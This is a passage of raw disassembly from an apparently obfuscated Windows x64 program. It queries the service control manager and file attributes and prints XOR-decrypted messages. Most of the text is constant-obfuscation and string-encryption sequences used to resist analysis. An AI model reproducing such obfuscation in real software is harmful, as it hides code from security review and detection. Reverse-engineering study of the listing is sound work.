mov word [rax], r13w
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x1400d253d
push rax
pushf
mov eax, 0x4eae54c5
pushf
not eax
add eax, 0x80f922e4
xor eax, 0xd3aa3e37
rol eax, 6
popf
pushf
not eax
add eax, 0xa52528aa
xor eax, 0xda069081
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xa7ee72c1
xor eax, 0x9dfed56e
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xf9823b51
xor eax, 0x9bff7a62
rol eax, 0
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x7c1f9069
pushf
not eax
add eax, 0xbc7cd959
xor eax, 0xc79e3ef2
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x87089af5
xor eax, 0xccf9d713
rol eax, 0x6a
popf
jmp 0x1400d0df3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d25be
push rax
pushf
mov eax, 0x382b40aa
pushf
not eax
add eax, 0xae183f8f
xor eax, 0xea707d14
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xa58d142b
xor eax, 0x86081722
rol eax, 0x5e
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x54902208
pushf
not eax
add eax, 0x8e1cb38d
xor eax, 0xf5447dc7
rol eax, 0x95
popf
pushf
not eax
add eax, 0x88988f14
xor eax, 0x8e1132bc
rol eax, 0x64
popf
pushf
not eax
add eax, 0xab48646c
xor eax, 0x8b9e7dcf
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xa2674dda
xor eax, 0xf5d6eb13
rol eax, 0xdd
popf
jmp 0x1400d0df3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d2685
push rax
pushf
mov eax, 0x1fca0b92
pushf
not eax
add eax, 0xc32ee983
xor eax, 0xff2cb741
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xaf603410
xor eax, 0x8508a1c6
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x8a0fe074
xor eax, 0xed88737f
rol eax, 0x40
popf
pushf
not eax
add eax, 0x9853f1b2
xor eax, 0x9786a9a5
rol eax, 0x4b
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xd81afc26
pushf
not eax
add eax, 0x8a722d06
xor eax, 0xc9bc0ab2
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xfe8abf3c
xor eax, 0xbc537469
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xb50e8485
xor eax, 0xa219c374
rol eax, 0x92
popf
jmp 0x1400d0df3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3e2f
push rax
pushf
mov eax, 0xe6d8d140
pushf
not eax
add eax, 0xde2bbf55
xor eax, 0x9a8d0c7f
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xf742f3de
xor eax, 0xc1b403ec
rol eax, 0x6f
popf
jmp 0x1400d0df3
movdqa xmm0, xmmword [0x140078e90]
movdqu xmmword [rbp + 0xe0], xmm0
mov word [rbp + 0xd0], r13w
movabs rbx, 0x4417c4d26ce87a69
pushf
not rbx
add rbx, 0x49706d1c
xor rbx, 0x72cb0d26
rol rbx, 0xd1
popf
pushf
not rbx
add rbx, 0x5d795188
xor rbx, 0x53ce2b47
rol rbx, 0xb5
popf
pushf
not rbx
add rbx, 0x74ef41aa
xor rbx, 0x78a4e27a
rol rbx, 0xaa
popf
mov qword [rsp + 0x30], rbx
movabs rdi, 0x8df81c29086ef2c4
pushf
not rdi
add rdi, 0x7888d741
xor rdi, 0x45eefb50
rol rdi, 0xaa
popf
pushf
not rdi
add rdi, 0x44361863
xor rdi, 0x6a25e95b
rol rdi, 0x30
popf
pushf
not rdi
add rdi, 0x42a9c327
xor rdi, 0x68c4f04e
rol rdi, 0xbb
popf
pushf
not rdi
add rdi, 0x4b52c55c
xor rdi, 0x629c3cd5
rol rdi, 0x3d
popf
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call fcn.1400c0786
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], rsi
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
movabs rax, 0x57763d0ceceb3fe0
pushf
not rax
add rax, 0x467b6b7e
xor rax, 0x45062fd6
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x40352d99
xor rax, 0x6d90654d
rol rax, 0x33
popf
pushf
not rax
add rax, 0x49e38ca6
xor rax, 0x559da052
rol rax, 0x43
popf
mov qword [rsp + 0x30], rax
je 0x1400d2931
push rax
pushf
mov eax, 0x60456ee6
pushf
not eax
add eax, 0xb4e6988a
xor eax, 0xd885acaa
rol eax, 0x50
popf
pushf
not eax
add eax, 0x80700811
xor eax, 0xfb66784c
rol eax, 0x3b
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xbb295e48
pushf
not eax
add eax, 0x958e3790
xor eax, 0xd07dc62c
rol eax, 0x44
popf
pushf
not eax
add eax, 0x975990e9
xor eax, 0xb0b75862
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xb3967896
xor eax, 0xaa933443
rol eax, 0x91
popf
pushf
not eax
add eax, 0x820c306e
xor eax, 0x8ac72c1e
rol eax, 0x26
popf
jmp 0x1400d0df3
movabs rax, 0x888507fb4858c160
pushf
not rax
add rax, 0x6ac2c6b6
xor rax, 0x50a15684
rol rax, 0x25
popf
pushf
not rax
add rax, 0x55e6b9bc
xor rax, 0x7c152407
rol rax, 0x1c
popf
pushf
not rax
add rax, 0x7823ff54
xor rax, 0x43861123
rol rax, 0xa
popf
mov qword [rsp + 0x38], rax
movabs rax, 0xf2d9101de9781aa2
pushf
not rax
add rax, 0x474361b1
xor rax, 0x69c3e023
rol rax, 0x48
popf
pushf
not rax
add rax, 0x5b5b6c39
xor rax, 0x7c19344c
rol rax, 0xdd
popf
pushf
not rax
add rax, 0x6abb6a7b
xor rax, 0x433a0aae
rol rax, 0x44
popf
mov qword [rsp + 0x40], rax
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x40], xmm1
call fcn.1400b8f2a
lea rdx, [0x18fccd6cf]
pushf
sub rdx, 0x4fcc563f
popf
mov rcx, rax
jmp 0x1400d2a73
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d5b15
movabs rax, 0xf46c0141af21c34a
pushf
not rax
add rax, 0x4b4f746c
xor rax, 0x6e450475
rol rax, 0x84
popf
pushf
not rax
add rax, 0x702cc86b
xor rax, 0x6c585382
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x720395a1
xor rax, 0x6d55f4bc
rol rax, 0x9b
popf
mov qword [rsp + 0x38], rax
movabs rax, 0x5581a44867f44cab
pushf
not rax
add rax, 0x5ac92ec6
xor rax, 0x6179529d
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x713913cf
xor rax, 0x41cf060c
rol rax, 0x1c
popf
pushf
not rax
add rax, 0x7fc440a1
xor rax, 0x53b3a001
rol rax, 0xa4
popf
mov qword [rsp + 0x40], rax
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x40], xmm1
call fcn.1400b8f2a
lea rdx, [0x1bbb898c9]
pushf
sub rdx, 0x7bb81839
popf
mov rcx, rax
jmp 0x1400d2b9a
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x40], xmm1
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400d2bff
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
movabs rax, 0x11146eb99a1cc396
pushf
not rax
add rax, 0x409acbe1
xor rax, 0x6f956540
rol rax, 0x41
popf
pushf
not rax
add rax, 0x7ce93fe0
xor rax, 0x541cf0d2
rol rax, 0xb4
popf
movabs rcx, 0x14668774ef09f24e
pushf
not rcx
add rcx, 0x530502c3
xor rcx, 0x5c56ce90
rol rcx, 0xbd
popf
pushf
not rcx
add rcx, 0x5c87b792
xor rcx, 0x4b2bf94f
rol rcx, 0xb3
popf
pushf
not rcx
add rcx, 0x5a21a737
xor rcx, 0x53875b06
rol rcx, 0x9d
popf
movabs rdi, 0x6bcc4ac8472986c
pushf
not rdi
add rdi, 0x7467635f
xor rdi, 0x5f50a857
rol rdi, 0xa
popf
pushf
not rdi
add rdi, 0x6658a5a5
xor rdi, 0x74748111
rol rdi, 0x33
popf
pushf
not rdi
add rdi, 0x4cbe9aab
xor rdi, 0x64e26ab3
rol rdi, 0xcb
popf
test rbx, rbx
jne 0x1400d2d4c
push rax
pushf
mov eax, 0xb94bfea6
pushf
not eax
add eax, 0xb747583a
xor eax, 0xdebeb885
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xfbfbb164
xor eax, 0x9bb2ef18
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xc3ec65dc
xor eax, 0xc54c5c06
rol eax, 0x81
popf
pushf
not eax
add eax, 0xc805103a
xor eax, 0x8ff45e6b
rol eax, 0x3f
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xcdc3eae0
pushf
not eax
add eax, 0xc88b6bb9
xor eax, 0xc1847a07
rol eax, 0x38
popf
pushf
not eax
add eax, 0xd8f90f50
xor eax, 0x9bbb3e5e
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xc5967dfb
xor eax, 0xadee22ea
rol eax, 8
popf
jmp 0x1400d0df3
mov qword [rbp + 0xf0], rax
movabs rax, 0x7484b04dfc75dd5
pushf
not rax
add rax, 0x5384d8f0
xor rax, 0x557d2dc5
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x63d22a32
xor rax, 0x6055a1b3
rol rax, 0x87
popf
pushf
not rax
add rax, 0x7c201625
xor rax, 0x403c8f3d
rol rax, 0xae
popf
pushf
not rax
add rax, 0x7fc7f5ae
xor rax, 0x63892468
rol rax, 0xeb
popf
mov qword [rbp + 0xf8], rax
movabs rax, 0xed3fcdfbbda0f33a
pushf
not rax
add rax, 0x4456903c
xor rax, 0x727bd848
rol rax, 0x39
popf
pushf
not rax
add rax, 0x775d7828
xor rax, 0x5dc251a9
rol rax, 0x1b
popf
mov qword [rbp + 0x100], rax
movabs rax, 0xa63e14f8c22ff637
pushf
not rax
add rax, 0x581b66a8
xor rax, 0x6d002f72
rol rax, 0x60
popf
pushf
not rax
add rax, 0x4f4f1e4f
xor rax, 0x7111f94d
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x6bc45399
xor rax, 0x65515e6e
rol rax, 0xd3
popf
pushf
not rax
add rax, 0x4c7f6d61
xor rax, 0x7b3255ae
rol rax, 0xa7
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xa875f38253be3712
pushf
not rax
add rax, 0x51ebb586
xor rax, 0x785b8986
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x54d60b21
xor rax, 0x57265e37
rol rax, 0xd4
popf
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdi
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8f2a
mov rbx, rax
jmp 0x1400d2f7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d2f8a
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1aca2bf9b]
pushf
sub rdx, 0x6ca23f0b
popf
mov rcx, rax
jmp 0x1400d2fa6
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d3360
mov r8d, 0xcb9db066
pushf
not r8d
add r8d, 0xd1a773d8
xor r8d, 0x82ec3502
rol r8d, 0x43
popf
pushf
not r8d
add r8d, 0xe80eb0f3
xor r8d, 0xc0d6fd56
rol r8d, 0xd
popf
lea rdx, [rsp + 0x30]
mov rcx, rbx
jmp 0x1400d304b
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
jne 0x1400d30a0
push rax
pushf
mov eax, 0x32464f7e
pushf
not eax
add eax, 0xf289bf89
xor eax, 0xdeed7199
rol eax, 0x31
popf
pushf
not eax
add eax, 0x877666b6
xor eax, 0x8a59b5b7
rol eax, 0x89
popf
pushf
not eax
add eax, 0x982e331e
xor eax, 0x80d45701
rol eax, 0x4b
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xc0b22705
pushf
not eax
add eax, 0xfcd70958
xor eax, 0xfc0b6380
rol eax, 0x68
popf
pushf
not eax
add eax, 0xb4d0c639
xor eax, 0xa5384d45
rol eax, 0x84
popf
pushf
not eax
add eax, 0xb295e07d
xor eax, 0x9f29fcaa
rol eax, 0xe8
popf
jmp 0x1400d0df3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp eax, 0x424
je 0x1400d3140
push rax
pushf
mov eax, 0x331ae25a
pushf
not eax
add eax, 0xe4555fe4
xor eax, 0xa8ef41b5
rol eax, 0xea
popf
pushf
not eax
add eax, 0x97fcd67c
xor eax, 0x92351e85
rol eax, 0x30
popf
pushf
not eax
add eax, 0xf21a70a2
xor eax, 0xd9889f61
rol eax, 0x84
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xc7581e9d
pushf
not eax
add eax, 0xa3f2244b
xor eax, 0x870b0f7d
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xbf159800
xor eax, 0xdb970aac
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xa54e820b
xor eax, 0xa233ef1f
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xdcc8c575
xor eax, 0xc22c1092
rol eax, 0x6c
popf
jmp 0x1400d0df3
movabs rax, 0xa1d2a32b40d057d2
pushf
not rax
add rax, 0x427bb464
xor rax, 0x77ad5639
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x50752664
xor rax, 0x7eba3bf7
rol rax, 0x97
popf
mov qword [rbp + 0x80], rax
movabs rax, 0x7eaf7dd1b03966fa
pushf
not rax
add rax, 0x522b5bc7
xor rax, 0x7c79f7b4
rol rax, 0x20
popf
pushf
not rax
add rax, 0x67c788d5
xor rax, 0x7e77914e
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x666cd070
xor rax, 0x416676e5
rol rax, 0xff
popf
pushf
not rax
add rax, 0x789b6c51
xor rax, 0x76e7a8a9
rol rax, 0xd5
popf
mov qword [rbp + 0x88], rax
movabs rax, 0xa32797806f9c500a
pushf
not rax
add rax, 0x7c4045af
xor rax, 0x630ffb26
rol rax, 0x58
popf
pushf
not rax
add rax, 0x582479e3
xor rax, 0x5ff3cca0
rol rax, 0xb
popf
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x90], xmm1
lea rdx, [rbp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8f2a
mov edx, edi
mov rcx, rax
jmp 0x1400d32ee
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x181688bcf]
pushf
sub rdx, 0x41680b3f
popf
mov rcx, rax
jmp 0x1400d330a
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
push rax
pushf
mov eax, 0x937cfeb2
pushf
not eax
add eax, 0x9da3311a
xor eax, 0x8a8bfce0
rol eax, 0x68
popf
pushf
not eax
add eax, 0xae488c05
xor eax, 0xc3133e31
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xd91496cc
xor eax, 0x8254e9a4
rol eax, 0x72
popf
jmp 0x1400d0df3
mov rcx, rbx
jmp 0x1400d335a
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0x36e392c12666ae74
pushf
not rax
add rax, 0x6bd695d6
xor rax, 0x5ff4b6b0
rol rax, 0x87
popf
pushf
not rax
add rax, 0x79704acd
xor rax, 0x67f25ee9
rol rax, 0x3a
popf
mov qword [rsp + 0x30], rax
movabs rax, 0x45ddbeaf34af117e
pushf
not rax
add rax, 0x47520e49
xor rax, 0x57fdc2a7
rol rax, 0x7f
popf
pushf
not rax
add rax, 0x6d4c0c6b
xor rax, 0x73cd7b90
rol rax, 0xa8
popf
mov qword [rsp + 0x38], rax
movabs rax, 0x734e8e59885c35e
pushf
not rax
add rax, 0x6a235b47
xor rax, 0x618ae2b1
rol rax, 0x86
popf
pushf
not rax
add rax, 0x6bb09c09
xor rax, 0x453bb483
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x5a840b12
xor rax, 0x45363498
rol rax, 0x37
popf
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8f2a
lea rdx, [0x18613c13b]
pushf
sub rdx, 0x461340ab
popf
mov rcx, rax
jmp 0x1400d349c
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
jmp 0x1400d34b4
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400d3505
push rax
pushf
mov eax, 0xacb11dfb
pushf
not eax
add eax, 0xd41c6069
xor eax, 0xdb32c753
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf95bc4eb
xor eax, 0x8a1d0900
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x93fd5ee1
xor eax, 0x96206b24
rol eax, 0x1b
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x3b83aa04
pushf
not eax
add eax, 0xbd1f171b
xor eax, 0xae16c4c7
rol eax, 0xde
popf
pushf
not eax
add eax, 0x8679f315
xor eax, 0xfa9688a4
rol eax, 0x83
popf
jmp 0x1400d0df3
test al, 0x10
jne 0x1400d3595
push rax
pushf
mov eax, 0x15734b32
pushf
not eax
add eax, 0xc1ba8e81
xor eax, 0x8300cca1
rol eax, 0
popf
pushf
not eax
add eax, 0xf2e4b101
xor eax, 0xe23039cf
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xb703baa1
xor eax, 0xc293917b
rol eax, 0x89
popf
pushf
not eax
add eax, 0xf2fb8249
xor eax, 0x86e871c5
rol eax, 0xbf
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x13a1e4ea
pushf
not eax
add eax, 0xa815f065
xor eax, 0x94810130
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xa9ae8d36
xor eax, 0x867c5bca
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xc39d51a3
xor eax, 0x8da8af75
rol eax, 0x71
popf
jmp 0x1400d0df3
mov al, reloc.WLDAP32.dll_Ordinal_35
pushf
not al
add al, 0x7e
xor al, 0x55
rol al, 0xe4
popf
pushf
not al
add al, 0x29
xor al, 0x28
rol al, 0xc
popf
jmp 0x1400d368a
xor al, al
push rax
pushf
mov eax, 0x5e386fd6
pushf
not eax
add eax, 0xf53aaca7
xor eax, 0xd2a1c792
rol eax, 0x57
popf
pushf
not eax
add eax, 0x8da17133
xor eax, 0xb781c3c4
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xceaa48f3
xor eax, 0xd8dbaf33
rol eax, 0xb6
popf
jmp 0x1400d0df3
test al, al
je 0x1400d36eb
push rax
pushf
mov eax, 0xe2b153ac
pushf
not eax
add eax, 0x92aabea9
xor eax, 0xdefacd2b
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x8c72bef6
xor eax, 0x894bcf80
rol eax, 0x68
popf
pushf
not eax
add eax, 0x92500554
xor eax, 0xd8b2fdb7
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xeeab729b
xor eax, 0x85b5a5f6
rol eax, 0xb0
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xec77c9ea
pushf
not eax
add eax, 0xc69c7f31
xor eax, 0xbf646561
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x8f73751a
xor eax, 0xa532d784
rol eax, 0x48
popf
jmp 0x1400d0df3
movabs rax, 0x97e67b4d794b6827
pushf
not rax
add rax, 0x4c0a57b7
xor rax, 0x7aab8a18
rol rax, 0x65
popf
pushf
not rax
add rax, 0x711642a8
xor rax, 0x521c3719
rol rax, 0x36
popf
pushf
not rax
add rax, 0x78babc9d
xor rax, 0x702bf29f
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x679f7907
xor rax, 0x557db1ea
rol rax, 0x5f
popf
mov qword [rsp + 0x30], rax
movabs rax, 0xb28269230831161e
pushf
not rax
add rax, 0x49a0d2f4
xor rax, 0x5d7ae201
rol rax, 0x85
popf
pushf
not rax
add rax, 0x7e3830b5
xor rax, 0x502e083d
rol rax, 0xa1
popf
mov qword [rsp + 0x38], rax
movabs rax, 0xde1aaa1a47aa0ee4
pushf
not rax
add rax, 0x6d33792b
xor rax, 0x4ed2f4db
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x457e24dc
xor rax, 0x5a75460c
rol rax, 0xd8
popf
pushf
not rax
add rax, 0x64b7cdf5
xor rax, 0x4d609cfe
rol rax, 0x6a
popf
mov qword [rsp + 0x40], rax
movabs rax, 0xc7c40282a0108902
pushf
not rax
add rax, 0x69381d90
xor rax, 0x5c3da1e8
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x4ad10a2f
xor rax, 0x75b142fc
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x5a55ced0
xor rax, 0x7f811d56
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x74c78f37
xor rax, 0x4dc23135
rol rax, 0xb7
popf
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8f2a
lea rdx, [0x1abe74d7c]
pushf
sub rdx, 0x6be6ccec
popf
mov rcx, rax
jmp 0x1400d38ee
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d43b0
xor edx, edx
mov r8d, 0xd1ef3d11
pushf
not r8d
add r8d, 0xb32281c9
xor r8d, 0xd6e6758d
rol r8d, 0xf2
popf
pushf
not r8d
add r8d, 0xa2f90582
xor r8d, 0xde94262d
rol r8d, 0x51
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400f6b7e
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, [0x18342f335]
pushf
sub rdi, 0x433b760d
popf
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
cmp qword [rbp - 8], 0
jne 0x1400d3a22
push rax
pushf
mov eax, 0xa0f0e929
pushf
not eax
add eax, 0x9292573e
xor eax, 0xc2b77887
rol eax, 0x88
popf
pushf
not eax
add eax, 0x98641c45
xor eax, 0xa1ea6c67
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xb4eff478
xor eax, 0xc234e7e4
rol eax, 0x3b
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xc1cbcada
pushf
not eax
add eax, 0xa1499699
xor eax, 0xecc1dd01
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xf7fe4c03
xor eax, 0xb5384c8f
rol eax, 0x63
popf
pushf
not eax
add eax, 0xa5e88024
xor eax, 0xfbc47b8a
rol eax, 0xb2
popf
jmp 0x1400d0df3
movabs rax, 0xc9bf2025eafd4df3
pushf
not rax
add rax, 0x7658827d
xor rax, 0x41bce95e
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x60e558bf
xor rax, 0x454bb19c
rol rax, 1
popf
mov qword [rbp + 0xf0], rax
movabs rax, 0x20097eabe9b93696
pushf
not rax
add rax, 0x47c06efb
xor rax, 0x486a5592
rol rax, 0x7f
popf
pushf
not rax
add rax, 0x7579a712
xor rax, 0x7cfcd8e6
rol rax, 0x58
popf
mov qword [rbp + 0xf8], rax
movabs rax, 0xbb23af2f4dc640dc
pushf
not rax
add rax, 0x63d609e2
xor rax, 0x5e5ac4c9
rol rax, 0x7f
popf
pushf
not rax
add rax, 0x778dd014
xor rax, 0x54f1c873
